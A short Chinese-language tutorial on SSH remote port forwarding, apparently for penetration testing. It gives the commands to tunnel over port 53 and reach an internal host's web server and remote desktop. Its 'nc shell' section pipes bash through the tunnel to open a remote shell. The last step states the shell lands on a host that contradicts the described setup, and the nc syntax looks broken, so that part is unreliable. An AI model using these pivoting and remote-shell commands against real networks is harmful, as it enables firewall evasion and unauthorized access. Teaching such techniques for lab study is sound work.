ssh远程端口转发

当ssh的连接方向和应用连接的方向不一致时，这就称为ssh远程转发。

主机3是一台web server

应用请求是主机2到主机1

ssh请求是主机1到主机2

主机2开启ssh服务 service ssh start

主机1建立ssh远程连接

ssh -CfNg -R 7001:1.1.1.11:80 root@192.168.1.110 -p 53

ssh -CfNg -R 7002:1.1.1.11:3389 root@192.168.1.110 -p 53

虽然命令操作是在主机1上，但是执行的结果是在主机2上，在主机2可以看到7001 7002端口打开了

远程端口转发-g其实是失效的，主机2不能作为网关使用

然后在主机2上打开浏览器输入：127.0.0.1:7001就能访问，内网中的主机3web server

主机2 rdesktop 127.0.0.1:7002 访问主机3的远程桌面

实现nc shell

在主机3开启nc侦听3333端口 nc -nvlp 3333

主机1建立ssh远程连接ssh -CfNg -R 7003:1.1.1.11:3333 root@192.168.1.110 -p 53

主机2连接nc：nc 127.0.0.1:7003 -c bash

主机1就获得了主机2的shell了